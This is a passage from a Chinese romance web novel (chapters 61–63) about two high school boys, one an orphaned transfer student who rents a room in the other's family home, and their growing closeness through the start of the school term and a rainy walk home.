趴地上的前一秒，他又被司云起捞住了。
男生低呼，“这是怎么了。”
司云起没理他，季杭没力气理他。
手机响起，男生看了一眼，对司云起说：“阿姨找我，我先去了。”
季杭没听到司云起的回答，但晕眩感稍好一点后，他抬眼，看到司云起单手搂着他，薄唇轻启：“容易中暑还总乱跑。”
季杭都要气死了，但确实人没力气，只能靠着司云起的肩膀，“我这回是低血糖。”
司云起没说话。
季杭无气无力：“真的。”
昨晚就没吃饭，今早也没吃，中午热的不想吃，我不低谁低。
左手提着奶茶，右手拎着饭盒，手腕上挂着装衣服的袋。季杭抬了下左手，想喝一口。
这家伙动作实在慢，司云起帮他托着奶茶底。看他抿了一口后，轻声对自己说：“你能不能帮我、拿下东西……”
司云起腾出一只手拿他手里的东西，拿饭盒时，问：“来看演唱会还带饭，什么癖好。”
季杭阖着眼睛小声埋怨：“什么演唱会，什么带饭……饭是早上给你送的，这队是帮曹书望排的……”
司云起仿佛只听到“饭是早上给你送的”，心蓦地像是被很轻地挠了一下。
季杭小口抿着奶茶，没注意到不知不觉间他的手已经垂落，反而是司云起一手搂着他一手拎着东西还在喂他奶茶。
他暗自想，司云起这家伙说话可真冷漠。
也没注意到，其实雪山自朝他走来时便开始融化了。
在缓慢前行的单人队伍里，司云起站在季杭旁边，让他靠在自己肩膀，直到曹书望和肖蕊过来。
“这是怎么了？”曹书望慌道。
季杭已经好多了，听到曹书望的声音后站稳，挪开位置：“没事，快，你们去验票。”
曹书望边喊“等我出来”边被后面的人推进检票口，季杭松了口气，对司云起说：“谢谢。”
坐在路边的树下休息了会儿，季杭哑声问司云起：“你是来看演唱会的？”
司云起：“不是。”
“哦，”季杭问，“你没有地方住吗？”
司云起顿了下，转头看着他，坦诚道：“是。”
“那你，”季杭觉得应该是因为司云起帮了自己两次，也可能是因为他总是找不到司云起。所以在这次，他想主动一下，多问几句，或者是问出个联系方式什么的。
“你是来住几天，还是一直住下去？”
司云起想了想，“不知道。”
别的没再问，季杭说：“你要是想一直住下去，我可以帮你找房子。我们单元就有人在出租。”
他说完这句话后是一段很长的沉默。
季杭以为自己越矩了，低着头也没再说话。
直到身后的体育场里传出热烈的欢呼声，以及许凡君温柔的嗓音，他看到司云起回了下头。
只是须臾，转过来时又是一脸的风平浪静。
可季杭就是觉得他有点不开心。
散场前，他听到许凡君向从不同地方赶来的乐迷道谢，声音轻快道：“其实场外也蛮好的哈，没买票也听了一整场。”
司云起忽然站起身朝体育场跑去，中途想起来什么似的，转身看向季杭。
天已全黑，但即将散场，临时摆放的灯都亮了起来。司云起在季杭的视线里逆着光。
“我要等你吗。”季杭问。
司云起看着他，给出了肯定的答复：“等我，我和你一起回去。”
于是季杭等在原地，视线里的人消匿在散场的人群中。
人群嘈乱拥挤，季杭给曹书望发消息，让他和肖蕊先回去，不然就太晚了。
曹书望问他怎么回，季杭说：“我等个朋友。”
曹书望：“？”
我就一天没见你，你就背着我有别的朋友了？你还娇滴滴地靠在你那个朋友的怀里？
不放心，曹书望又给季杭打了个电话，再三确认他已经不娇滴滴后，才和肖蕊打车走。
人已经快散完了，只有广场上只剩零星几个。季杭站起身，望着司云起走的方向。
这一整天，身体哪哪都酸，他来回踱步跺脚甩胳膊，不经意间碰到个人。
“不好意…”扭过脸时，季杭一愣，“你怎么从这边……”
司云起提起手里的饭，“给你的。”
季杭怔然接过：“怎么就一份。”
司云起弯腰拿起路边的饭袋，“你不是给我带饭了么。”
看着他没有任何顾忌地掀开饭盒，吃了两口后抬眼问自己：“味道很好，是你做的么。”
季杭鬼使神差地想起酒店里电视上的那两个男生。
他们……是爱吗？
……
打车回到家，季杭下车后问司云起：“你今晚住哪？”
“酒店。”
“还是那家？”
“换一家。”
季杭不知道他为什么这样折腾，但也在软件上看了看附近的酒店和旅馆。
都没房了。
“你回家吧，”司云起坐在车里，“我去找。”
季杭却扶着车门，看了他几秒，低声问：“司云起，昨晚你收留我一晚，今晚你愿不愿意让我收留你？”
……
季满谦听到敲门声，心道季杭这小子又没带钥匙，都想换个密码锁了。打开门后看到外面站着自己儿子，还有另外一个男生。
这男生他隐约见过。
开门后，男生虽没什么表情，嗓音也有些冷，但从他口中说出的“叔叔好”，一点也不让人反感。
季满谦说：“快进来。”
男生走进门时，他才注意到，早上自己儿子拿出去喂狗的饭盒和给狗找的衣服，都在男生手里。
他茫然一瞬，想起季杭的形容。
季杭真的把那只不亲近人的小狗带回家了。
61.租房
“爸，”季杭把司云起带回房间后，特意回到客厅，“我朋友在咱家住一晚，他情况有点特殊，你可别问他太多问题啊。”
季满谦向来不干涉季杭的生活和交友，他自然不会多问，此刻他只对饭盒和衣服感兴趣。
“衣服怎么带回来了？不是要给小狗铺地上让他垫着？”
季杭反应了几秒，“就…出了点意外，不需要给他垫着了。”
季满谦点点头，看向卧室：“你衣柜下面有床新的夏凉被，枕头也在那。”
季杭啊了声，指着旁边的客卧，“咱不是有空房间吗。”
“那间不行，”季满谦皱眉，“多少年没睡过人了，再说了，书望每回不都和你睡一屋吗。”
季杭心道那毕竟是曹书望啊，可今天带回家的是谁，是不亲近人的司云起啊。
而且他能把司云起带回家，纯属死缠烂打。
现在回想，他都觉得自己脸皮厚。
他提议收留司云起时，毫不意外，遭到了拒绝。但他死活不关车门，嗓子软着说不行，下一秒腿也软了。
“我头晕……”季杭半眯着眼睛，观察着司云起的表情，“自己上不了楼。”
司云起还没反应，司机师傅先慌了，扭头催司云起：“小伙子你快扶你朋友啊，他再晕这，可不行。”
大晚上拉人挣个钱，结果乘客还拽着车门不撒手说想晕倒，司机巴不得司云起快下车。
无奈，司云起下车，刚站在季杭身边，这家伙立刻松了车门，站得格外板正，声音听不出丝毫刚刚的虚弱，“师傅再见。”
司机：“？”
看着车开走，司云起面无表情地把饭盒递给季杭，“看你没事了。”
季杭不接，“现在这个点已经打不到车了，你只能跟我走。”
司云起蹙了下眉，有些抵触。可季杭没注意到，又装起虚弱，“我头晕。”
“你哪来这么多毛病，”司云起嗓音凉凉。
季杭忍下“身体不好”的误会，硬是让司云起把他送回家。
现在被又季满谦告知那间空了很多年的房间不能住人，季杭不死心地推开门，闻到淡淡的霉味。
确实。
他只能回到自己房间，对看手机的司云起笑了几声。
“今晚你还得和我睡。”
话出口，好像有哪里不对。
司云起瞥了他一眼，又垂下目光，反正都寄人篱下了，很好商量，“好。”
季杭对于他这个反应很是满意，本以为自己要多费口舌的，没想到这么轻松。
两个人都洗完澡后，季杭给司云起腾出半边床的地，自己先躺了上去。等司云起躺在旁边后，季杭关了灯。
瞪着天花板发呆。
他也不明白自己非要带着司云起回家的原因是什么。可能是被他帮了三次，中暑无家可归和低血糖，短短两天里，在他无助的时候，身边只有司云起一个人。
虽然这人话不多，语气也总是很冷淡，可季杭就是觉得他还不错。
想着想着就睡着了，醒来是旁边是空的。
季杭心里一咯噔，鞋都没顾上穿就往外跑，嗓音着急：“爸，我朋友他走——”
话音在看到司云起端菜从厨房走出来时戛然而止，季杭对上司云起的视线，又眼看着他的目光从自己翘飞的头发移到光着的脚丫……随后挑了下眉。
砰的一声，门被关上了，季杭人靠在门后，心想。
幸好司云起没偷偷离开。
吃过饭后季满谦就出门了，暑假期间，他在一家机构兼职教学生书法。
季杭问司云起：“你今天有什么安排。”
司云起淡淡的：“和你有关系么。”
季杭：“……”
不是。
都睡一张床了。
还睡了两次。
这人为什么还是一副拒人千里的模样？
但这句话在司云起看来，并没有任何针对季杭的意思，他觉得自己只是做出了普通回答。
可季杭表情好像有点不对劲。
他便主动且友好地说：“这一晚谢了，我走了。”
“你去哪，”季杭又问。
司云起反问：“你问我这么多做什么。”
季杭：“……”
钱得还，季杭拿给他两百块钱，“喏，欠你的钱。”
“抵了，”司云起说，“昨晚你收留我，不用给了。”
“还有一百是，”季杭吸了口气，“那盒套的钱。”
“嗯？”司云起瞥了钱一眼，转身离开，“给我钱做什么，你又没用。”
“？”季杭跟出去，“那也是为我花的钱啊。”
司云起嗓音依旧淡淡的：“你想多了，我是不会为你买一盒套的。”
季杭快被气死了。
没有人教过司云起怎么说话吗！
眼看着司云起消失在楼梯拐角，季杭还是忍不住，追过去要加联系方式。
“司云起，扫码，加我。”季杭拦在他身前。
司云起：“加你有什么必要么。”
季杭：“……我们也算是认识了吧，加个微信也不行？”
“没必要，”司云起睨了他一眼，“除了你中暑和低血糖，我不认为我们还会有关系。”
“司云起，”季杭觉得这人实在是奇怪，“昨天我排队的时候，刚一喊你你就朝我走过去了，你现在又这个态度？”
司云起没回答。但他昨天之所以在季杭刚喊他就走过去，只是因为想摆脱丁熙年而已。
后来季杭低血糖，更给了他机会，不用去见那个人。
“算了，”季杭失望地闪开身，“你走吧。”
司云起没停留，直接离开了。
季杭站在原地，来回踱步。没想到几分钟后，刚才消失在视线里的司云起又折返了回来。
季杭装看不见，一副在深思的模样，还以为司云起是回来找他的。
结果自己深思过头了，转身把背影留给司云起的功夫，再一回头人不见了，空留单元门被打开又被关上的动静。
“？”
不是回来找自己的？
季杭跟了上去，见司云起走到三楼没停，一直走到六楼才停。
在季杭的印象里，6楼没住人。他站在楼梯拐角，仰头看着司云起。
司云起停在门口
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，打了个电话。不一会儿，有个中年男人慢悠悠上来了。
他看季杭有点眼熟，一时没想起这是谁。
“你们两个一起租？”男人问。
司云起瞥了季杭一眼，“我自己。”
“行，”男人拿钥匙打开门，“进来看吧。”
门一打开就是股难言的味道，像是什么东西臭了没扔。季杭站的老远都闻到了。
司云起走进去了，季杭知道分寸，没过去。
男人比司云起矮了半个头，也许是想在气势上把自己房东的身份拿出来，语气很是难听。
“我这房子可都是长租啊，来看房的人每天好几个。不是非得租给你，得看你有没有诚意。”
司云起看着漏雨严重的墙角，“每天来好几个怎么还没租出去。”
“……租房也要看眼缘，不是谁出钱多我就租给谁。”
司云起冷淡道：“所以那么多人来看房，你也不把垃圾丢出去？”
“……碍着什么了？”男人语气很不好，“我都没问你呢，看起来就是个高中生，自己出来住？你不会犯了什么事儿吧？不会是……”
“你哪来那么多话，”季杭突然出现在门口，“人家也没说一定租你的，你倒先查起户口了。”
男人打量季杭几秒钟，“你是住三楼的？我见过你。”他笑了几声，态度有所和缓，“我就是问问。你俩看起来差不多大，但你有家啊，他还要出来租房，我可不得问清楚点。”
季杭敏锐地注意到，当男人说那句“但你有家啊”时，司云起忽然很不耐烦。
男人还在说：“万一是犯了事儿的，东躲西藏的，我可……”
“他是我朋友，”季杭跨过门槛走到司云起身旁，脸色不变，“他是我朋友，外地人，他父母听说咱们这二中教学好，特意把他送过来，所以得租房，有问题吗。”
男人愣了愣，“没问题，那你们看吧，房租押一付三，在微信谈的基础上每月加300。”
季杭惊了：“就这环境还加钱？”
“高中生每晚学到一两点，耗电耗钱耗房子，多收点很正常。”
季杭看着漏雨的墙角和满是油渍的厨房，蹙眉，“那你得先把房子收拾一遍吧。”
“顶层就这样，”男人无所谓道，“住进来可以自己修。”
“不租了不租了，”季杭拉着司云起往外走。
司云起没抗拒，任季杭把他拽到三楼。
季杭拿钥匙开门，气的好几次没插进齿孔里去。终于插进去了，他走进去，看着司云起。
顿了顿，两个人同时开口。
司云起：“走了。”
季杭：“我的微信你不加，那人的微信你说加就加？”
“？”
司云起说：“加他是为了租房，加你是为什么。”
季杭真是要被他这张嘴气死了，突然想到自己家那间空着的房间，里面一应俱全，还有洗手间。
他看着司云起，说：“我家也有房间出租，你加不加我微信？”
司云起看着他认真的脸色，也很认真地想。
这人到底是想租给自己房子，还是想加自己微信？
62.开学
到底是没加上。
司云起对租房的需求较为急迫，但这片区域临近二中，很多房子都被陪读的家长租了，司云起在网上看了两天，也只找到了刚去的那家。
现在季杭提出可以租他家，司云起又急于落脚，思忖片刻，觉得可以暂时住这里，找到房子后再搬出去。
他盯着季杭看了片刻，而后说：“真的出租？”
过年的时候季杭听季满谦提过一嘴，说那间屋子空着也是空着，反正附近二中有不少租房的学生，不如租给他们。
当时被季杭否决了，理由是家里住进来一个外人，怎么想都觉得别扭。
“真的，”季杭梗着脖子说。
司云起又看了眼房子内设，目光落在季杭脸上时，抛了句：“我不和你说，我和你家长说。”
季杭：“……？”
他特么。
季满谦中午回家，他已经听季杭说了司云起要租房的事儿，一到家就直奔主题。
他带着司云起进了房间，边说话边打开窗户：“不好意思啊，这间也是头一次对外出租，没顾上收拾。”
“这里有单独的洗手间和浴室，干湿分离的，阳台还算大，你洗了衣服搭在这里也行，就是这间朝向不怎么好，有点背阳，你也可以去楼下晾衣服。”
房间并不大，除了床和衣柜，没太多别的家具。但很干净，虽然季满谦说没顾上收拾，但也能看出来，他会定期打扫这里。
“哈哈哈，”季满谦瞅见倚在门口的季杭，不由得笑出声，“这小子啊，之前我说租出去他还不愿意，没想到今天主动要租给你了，对了小司，你俩是怎么认识的？”
司云起没立刻回答，瞥了季杭一眼。
季杭不大自在地咳嗽两声，喊了声：“爸。”
“行吧，不问这么多了，”季满谦对司云起说，“小司，叔叔跟你说，房租一个月300，水电费不用你交，你一个人也用不了多少。”
“不行，”司云起说，“您说的价格太低了，该多少就是多少。”
“我说想把这间房租出去，不是为了挣钱，就是这屋子空太久了，它就容易坏。我和小杭都有房间，这间只能空着，你想租这里，叔叔还要感谢你呢。”
司云起沉默半晌，“一个月700，这样我住下来才安心。”
见他拗，季满谦便不再坚持，想着每天饭桌上多做点好的，也能让这孩子回个本。
这就算定下来了。
司云起和季满谦加了微信，第一个月房费立马转过去了。
季杭见状，绷着下巴转身走了。
可下一秒，他听到房间里的季满谦问司云起：“小司，你多大了？”
司云起说：“十七。”
“那我是不是得和你监护人联系一下，”季满谦斟酌道，“我知道你和小杭是朋友，肯定不是坏孩子，就是想让你家里安心些。”
司云起的目光扫过门外，在靠着沙发的人身上停留两秒，说：“我没监护人。”
季满谦：“啊？”
季杭倏地一下就坐直了。
司云起从他随身带着的外套里面拿出来个户口本，还有他的身份证。
“之前我跟着姥姥，现在姥姥去世了，户口本上只剩了我一个人。”司云起递上身份证，“你不放心的话，可以留着我的身份证。”
季满谦翻了下户口本，发现果然是这样，这孩子还是外地户口。他不再多看，把身份证和户口本都推回去，“小司，在这里住的时候，就把这儿当成你的家，别拘谨。”
司云起点了下头。
“那你先收拾东西，”季满谦退出房间，给他关上门，“我去做饭。”
季杭怔怔地坐在沙发上，完全没想到司云起的身世竟然是这样，身后门动了下，季杭转头，看见司云起走出来。
“你要出去吗？”季杭问。
司云起嗯了声，问季满谦：“我还没钥匙。”
季满谦叫季杭：“你先把你的给小司，下午再去配一把新的。”
季杭把鞋柜上的钥匙拿给司云起，“给你这把。”
司云起接过钥匙，走出门后才拿到眼前，看清钥匙扣里面的人。
是季杭。
季杭蹲在草地上，和小金毛握手，看向镜头的笑容澄澈。
司云起没什么表情，将钥匙收回掌心。
他去买了生活必需品，回家时接到了电话。女人嗓音温柔，问他在哪里。
司云起皱着眉，“我已经找到住的地方了，不会再住酒店，你也不用再查。我保证不会出现在你面前，没人会知道我和你有关系。”
“云起，你好歹让我知道你在哪里，”女人温声问，“我让熙年去找你。”
“找我做什么，”司云起缓了几秒，扯出一个自嘲的笑，“再对我说一遍我的存在就是个错么。”
“不是，”女人嗓音无奈，“那次是妈妈口不择言，你别置气，妈妈真的爱你。”
司云起嗤笑：“我长到十七岁才知道有你的存在，你觉得这句爱站得住脚么。”
女人带了些哭腔。
“我保证，不会让任何人知道我们的关系，你也没必要监视我。”司云起说完挂断了电话，顺手将那个手机号拉黑了。
他特意在外面多待了会儿，想避免和季杭他们一起用餐。
可自己打开门的一刻，季杭的头从饭桌上撑起来，眼皮都没彻底睁开，对自己说：“你可算回来了，饭都凉了，你把东西放屋里，然后……”
司云起看着他，“不用帮我热饭菜。”
季杭端着菜瞥了他一眼，“想多了你。我等着就是告诉你一声，你自己热，行了，我去睡个午觉。”
司云起：“……”
拒绝的话说不出口了怎么回事。
这一下午他没再见到季杭，直到傍晚。
租下来的这间挨着门，曹书望来敲门的声音传到司云起房间里格外响。
“季杭季杭季杭，开门。”
咚咚咚。
“季杭——”
司云起打开房间门，见季杭没影子，便走过去打开门，和外面的曹书望面面相觑。
“？”曹书望手保持的敲门的动作，见到司云起愣住，“我去，你谁。”
身后季杭刚打开房间的门。
司云起转身离开，嗓音平静：“人。”
曹书望：“？”
司云起回到房间关上门后，曹书望才反应过来，踏进门，瞪着司云起的卧室，“什、什么情况？”
季杭：“那间租出去了。”
“你之前不是不愿意租给别人吗，现在怎么说租就租了？”
对于是自己主动租给司云起这个事实，季杭选择隐藏，“遇到合适的就租呗。”
曹书望：“我觉得他有点眼熟，好像在哪见过。”
季杭：“你别觉得了，你找我来干嘛。”
“他和咱差不多大吧？”曹书望还在问，“他在哪上学啊？租房的话…难道不是本地人？”
关于司云起，季杭知之甚少。他也不能去给别人讲述司云起的家庭。
“一样大，”季杭随口应道，“问太多就越界了。”
“还是眼熟…”曹书望使劲儿回忆，“在哪见过呢。”
“你找我到底什么事儿。”季杭问。
“哦对，”曹书望伸手，“你把数学作业给我，我回去对对答案。”
“真是对答案？”
“真的，”曹书望信誓旦旦，“我都写完了，这不趁着快开学对下答案呢。”
季杭将信将疑：“你什么时候有对答案的习惯了。”
“就……”曹书望破罐子破摔，“哎我就是求x！最后x没了！求出来个-7＝110，怎么了！找你对对答案怎么了！”
季杭：“不好意思……我这就去给你拿。”
数学作业拿到手，曹书望哦了声，“物理也给我看看。”
季杭：“先不行。”
“你先给我看看，对完答案我再给你送过来。”
季杭撇开脸，“过两天给你拿过去。”
“今天一块给我得了呗。”
有道门打开的动静，伴随着季杭没好气的声音：“质量1kg和3kg的滑块，在质量4kg的木板上摩擦产生的
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总热量787J。我刚算出来的，你看？你真的要看？”
曹书望：“非常抱歉……那就不了吧。”
身后蓦地传来声轻笑。
季杭蹙着眉回头，正对上司云起还没收回去的笑。
这家伙笑起来也是一副闷冷的模样，眸光里那点浅淡的笑意很快敛了回去，面无表情地出了门。
曹书望搭着季杭的肩，半边脸咧着，“杭，我跟他谁拽。”
“你先把你的-7＝110算对再拽吧，”季杭回到房间，看着刚做的物理题，真是不知道走神想了点什么，能得出这么个离谱的答案。
“他到底谁啊，”曹书望跟着季杭喋喋不休，“他是哪个学校的？叫什么？为什么租房啊？”
季杭没回答。
“你不会也不知道吧，”曹书望冷不丁来了这么一句，“他那么拽，不理我就算了，还不理你？”
那怎么会。
季杭想起司云起背着抱着自己的情景，面不改色地算着题，挽尊道：“我们关系很好啊，就是他这人害羞，你在这儿，他就放不开。”
话音刚落，新答案算出个1000J。
什么鬼答案！摩擦热量你怎么不去死！
季杭扔开笔，面向曹书望，点点头：“我都知道，但涉及到人家的隐私，我不能说。”
曹书望心想也是，拿着数学作业就跑了。
高三开学早，剩下的一周时间，季杭总共没见司云起三面。
这家伙每天早出晚归，季杭好几次特意蹲他等他，也没见到过。
直到开学那天。
八月中旬的北方依旧炎热，但已经立了秋，隐隐裹挟着几阵适宜的风。
季杭穿上校服，去学校前特意看了看司云起的房间。
季满谦道：“小司挺早就出去了。”
“出去了？”季杭纳闷地想，司云起应该也是高三吧，那他家里人都不在了，户口又在外地，有学上么。
不行，到了学校得找班主任打听借读的事情。
他和曹书望都是省理班，班级人员一直很稳定，分班也几乎没变过，只有两个人是后来升班进来的。
路柯抱着一沓试卷从办公室回来，边给每一列传边说：“我刚才去办公室，看到皇后娘娘那站着个男生，长挺高，应该是要转到咱班来。”
“转进来？”有人诧异道，“从外校来的啊？这背后权力不小吧，一般都是转普通班。”
“反正他站在娘娘办公桌那儿，具体我就不清楚了，等会皇后来了就知道了。”
他们口中的娘娘是他们班主任，原名叫黄侯。名字高一入学时就给他们讲过，黄是她爸爸姓，侯是妈妈姓，所以这样取名。
结果每带一届，最后都会有几个外号。
最亲切的就是娘娘。
在每次布置作业时叫的尤其欢，底下一群人哀切：“娘娘，臣妾做不到啊——”
黄侯也只有32岁，能带省理班，能力可见一斑。
曹书望侧身捅了捅季杭，说：“对了，你那室友，他在哪个学校？”
季杭哪知道这个。
他胡诌道：“一中吧。”
“哦，”曹书望点头，“转进去应该也挺不容易。”
季杭没心思去想司云起了，他刚才翻物理题，又看到了算出来1000J的答案，心里一阵烦躁。
当时他到底是在想什么啊。
不对，准确来说，开学前这十来天，他总是心不在焉，总想找借口和司云起说话。
但司云起还不搭理他。
烦。不理就不理。自己又不是缺他这个朋友。
季杭埋头将算错的答案涂成一片黑，忽地听到一阵短粗的惊呼。
与此同时，曹书望猛地晃他胳膊。
他不耐地抬头，烦躁的目光倏地定住——
站在黄侯身边的男生身姿挺拔，眼睛狭长，冷淡扫过教室里的一圈人，最终目光停在季杭身上。
“你不是说他在一中吗？”曹书望晃着他问。
季杭涌上种难言又别扭的情绪，移开眼后，没好气道：“不知道，爱哪哪。”
63.雨夜
司云起的座位被安排在靠窗的最后一排。
季杭和他的位置正对着，是靠着后门的位置。
黄侯没怎么实行过按成绩选座位的制度，因为这一屋子学生，学习这块根本没操过心。基本上她都是按照个子排，有问题再微调。
季杭算是班里数一数二的高个子，理所应当坐最后一排。之前窗边的宝位一直是季杭的。
但放暑假之前，挨着窗户实在太热，季杭索性远离，搬到了靠着后门的空位。
他还打算等天气凉快了搬回去，结果先被人占了。
季杭不耐地推开曹书望，“做你的题，我和他根本就不熟。”
曹书望撇撇嘴，岔开话题：“那道题我求出x了哦。”
“哦，”季杭一点兴趣也没有，只觉得烦。
烦司云起。
这个人根本没打算和自己做朋友，帮自己那几次也纯属碰巧了，不然在家里不会对自己那么冷淡，更不会明明能看到自己晾在客厅阳台的二中校服，还没和自己说过“我也转到二中了”这样的话。
“我当时看着答案都笑了，但…”曹书望嘿嘿笑了几声，“我那会儿心不在焉的，光想着肖蕊了，哎，那套题和你一对答案，错了不少。”他一垂眼，看到季杭涂了一块黑的物理卷，笑道：“你更离谱，我是走神了还有情可原，你是干嘛了。”
季杭扬着尾音嗯了一声，蹙眉回想。
他当时——
好像是在心疼司云起。
司云起没有家人，一个人来到这里，因为还没满18岁，住酒店只能找查的不太严格的地方。他也搞不懂为什么司云起住一晚就要换一家。
反正就是心疼。
意识回拢时，他看着平时再擅长不过的题型，自己都觉得离谱。
“想什么呢，”曹书望敲敲他的桌子。
“没谁，”季杭翻开另一页，笔尖在草稿纸上唰唰地写着。
黄侯离开教室后，路珂回头喊道：“哥们，你叫什么名字，怎么不做个自我介绍？”
季杭闻言抬眸，余光瞥见司云起掀了几页书，没动静。
路珂又喊：“哥们？”
司云起还是没动静。
路珂坐不住了，离开座位走到司云起一侧，自上而下，问：“哥们，喊你半天，你没听着啊，怎么不说话呢。”
司云起终于合上手里的书，眼皮很冷地抬了下，嘴唇轻动：“谁是你哥们。”
“……”
刹那，整个教室都静了。
路珂整个人愣在那，尴尬地微张着嘴。得亏他是个体面人，过了几秒，自己转身回座位了。
曹书望感慨道：“敢情这家伙不是针对我啊，他是全方位无差别对每一个人冷脸。”说着他看了看季杭，补充：“对了，连他的小房东也不能例外。”
话一出口，这下好了。
小房东更不高兴了。
直到放学，季杭在座位上没动。
曹书望整理书包，看见司云起已经从季杭身后离开了，问：“你俩不一起回家啊。”
“我俩为什么一起回家，”季杭重重地写下一个方程式，“我俩又一点也不熟。”
“杭，合着你之前都是嘴硬，”曹书望拎上书包，“走吧，回家。”
因为提前开学，校园里只有高三生。在九月正式开学之前，他们都不用上晚自习。外面天还亮着，司云起又刚离开，季杭不想和他一前一后到家，拒绝道：“你去吧，我写套卷子。”
“……”
曹书望先走了，天还亮着，季杭不着急回家，做题心也有点乱，索性趴着睡了一觉。
再醒是被雷声惊醒的，外面已全黑，雨滴不急不缓，阻挡了他回家的路。
教学楼外的光昏暗，季杭站在台阶上，接到了季满谦的电话。
“小杭，你在哪啊？”季满谦问，“我给书望打了电话，他说你还在学校？”
“我没注意天气，”季杭说，“爸，你不用来接我，等会儿雨小了我就回去。”
“这雨哪见小啊，你等我会儿，我去接你。”
“爸，真不用，”季杭听到季满谦急促的脚步声，似乎是要换鞋，他正要阻止，却听到电话那头的声音。
“小司？下雨了你去哪？”
季杭没听到司云起的回答，只有门开了又关的动静，随后季满谦对自己说：“小司这孩子，他去接你了。你记得和他说一声你在哪里，别让他找错了。”
“我、”话没说完，季满谦就挂断了。
季杭没有司云起的微信，也没有他手机号，压根联系不到。
他也不想站在原地等司云起找过来，那样很奇怪。
所以他没怎么犹豫，冒雨跑到了学校大门口。身上已经湿透了，他在门卫室的屋檐下避着雨，伴随着雨声，隐约听到手机在响。
从书包里拿出来，屏幕上是陌生的外地号码。
季杭心倏地猛烈了几下，摁下接通后，那头的人嗓音微哑，喘息声有点重，“在哪？”
季杭攥紧手机，“学校。”
“具体点。”
“学校大门。”
“知道了，”司云起已经将手机移开耳边了，导致后面的话听起来有些远，混在雨声里，"等着。"
季杭抿紧嘴唇，这才注意到，微信里有个好友申请。应该是刚才往门口跑时来的。
申请的人头像是片云，昵称很简单，是个“.”。
季杭笃定这是司云起的微信号。
但他是哪来的呢，看起来不像是季满谦推荐给他的名片。还有，司云起怎么还知道自己手机号？
季杭满腹疑虑，盯着司云起的头像看了几秒，没点同意，直接摁灭手机收进书包了。
他不想干等着司云起，便顶着书包往司云起来的方向又跑了一截路。
光顾着跑了，不经意间撞到了个人。
他低着头后退，对不起三个字还没说出口，肩膀被人扣住。
下一秒，他被不可驳逆的力道扯着前进了几步。
头上的雨骤然停了。
季杭抬眸，撞进司云起的目光里。
彼此沉默了几秒，他们两个一齐开口。
“谢谢。”
“不是让你原地等着么，乱跑什么。”
司云起的嗓音实在太冷淡，把季杭烦躁了一天的脾气又顶了上来。
“司云起，你是不会好好说话么。”季杭抬手抹了下脸侧的雨水，蹙紧眉心，“我没有求着你来接我。”
“……”司云起拧着眉，不明白季杭为什么突然这个态度。
“你很烦我吧，所以在家故意避着我，就算知道我也在二中上学，同在一个屋檐下，你都不肯和我说一句。”话说出口后季杭觉得自己很别扭，明明在以往生活里根本不会介意的小事，他却一股脑全说了出来。“我乱跑了？我跑的方向不就是你来的方向么。”
说完他别开脸，后退着离开伞的庇护。
在朦胧的光里，雨是透明的，落在季杭身上后迅速消失不见。季杭的衣服却更紧地粘在身上，显出少年人瘦削的骨骼。
司云起淡淡地看了一眼，身体没动，胳膊伸直，将伞打在了季杭头顶。
随后，他说：“我没故意避着你，也不知道你在二中。”
“怎么可能不知道，开学前我的校服就在客厅阳台上晾着。”
“我有病么，看你衣服做什么。”
“……”季杭又说，“你故意避着我，不和我说话。”
“没有，”司云起否认，“忙着办转学，也没见过你。”
“不是见过三次吗。”
“不知道说什么。”
“……”季杭倏地把伞推回司云起头顶，“刚才你那个态度。”
司云起又强硬地将伞撑回季杭那边，淋着雨说：“我和你说了原地等着，就不需要你多走一步。我找不到你会担心，你也会淋湿。”
没有意义的事情，你去做了，是想向我索取什么呢。
季杭怔愣几秒，气消了大半。见司云起淋在雨里，主动朝他走近几步。
他将伞推在两人中间，“司云起，这条路路灯坏了好几个，你不熟悉路况。我只是…想让你少走一点。”
司云起久久无声。
他从未卸下的防备，因为这轻飘飘的一句话，忽然就裂了道口子，连着心上
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最软的一处，像是被人挠了一下。
回家路上，季杭紧紧贴着司云起，两只眼睛瞪圆了，盯着地面。
曹书望撑着伞站在楼下，季杭的手机怎么也打不通，他正想冲去学校看人还在没在，忽地听到不远不近的声音。
“这里肯定有积水……前面是个小坡……脚抬高点别绊倒了……”
这是……季杭在说话？
在跟谁说？
不会是谈恋爱了吧，声音这么温柔，这么有耐心。
没多久，脚步声越来越近，季杭还在喋喋不休。
曹书望也瞪圆了眼睛，先是看到两双腿。
那女孩的腿这么长？
人越走越近，曹书望看清了，季杭人在伞里，但人女孩子半个身子被淋着。不是季杭怎么回事啊，一点都不懂怜香惜玉！
他猛地走过去，刚要喊季杭，突然停住脚步。
撑着伞的人、季杭耐心提醒脚下的人……
是那新来的？
不是。
季杭你强调了两遍的不熟，到底是怎么个不熟。
前面冷不丁站了个人，季杭不爽地抬眼，“这么大的路你、书望？”
曹书望：“……”
司云起平静地睨着他，没说话，但眼神什么都说了——
你谁？挡路干嘛？起开。
曹书望：“……晚上好。”
除了你俩。
“我没事，”季杭看着曹书望手里的另一把伞，“你快回去吧，我们也回家了。”
走到单元楼下时，季杭握紧拳心，说：“既然你也转进了二中。”
司云起嗯了声，“一起上学？”
季杭呼吸都轻快了，跑进单元门内，等着司云起收雨伞。
回到家后他们各回各屋换衣服洗澡，饭菜被晾在餐桌上。
季杭脱衣服时才后知后觉，和司云起贴了一路的左胳膊有点麻麻的感觉。
他摸了一下，只觉得自己手心凉，浑身哪都凉，就胳膊那一小块是烫的。
并且那阵热意持续到洗完澡，不知是心理作用还是什么，总觉得那块皮肤还是烫。
没来由的，他想起那道算错两次的物理题。
摩擦产生的总热量……
应该是他和司云起胳膊接触太久也贴的太紧了，所以热量多了点，所以……到现在还觉得烫，也很正常吧。
……
季杭睡前看着司云起的微信，莫名地不想现在加。司云起这会儿应该还没睡。
他又困，便定了个半夜三点的闹钟。
目的就是半夜同意司云起的验证，这样司云起收到信息也就到了第二天早上。
反正自己就是随手点的同意，并没有很急迫去加他微信的意思。
就这样，他在半夜三点，被闹钟叫醒，第一件事就是打开手机同意验证申请，然后点开了司云起的朋友圈。
一条杠。
？
这是加上还是没加上？
意识模糊间，季杭想起曹书望说过，验证别人有没有删除自己，发个红包就知道了。
红包能发出去，就是没删除。反之，就是删除了。
他睡懵了，迫切想验证，点开红包，金额一块钱，输入密码。
下一秒。
红包就这么水灵灵地发了出去。
……
季杭醒了。
大半夜的，他发了条屏蔽司云起的朋友圈：
【有没有办法能撤回红包，有点急。】
那一群夜猫子同学，你们真的不看朋友圈的吗。
季杭在惴惴不安中又睡着了，醒来第一件事打开微信。
朋友圈那有个红色的1，看来是有人出谋划策了。
季杭揉着眼睛点进去，看到一片云的头像。
？
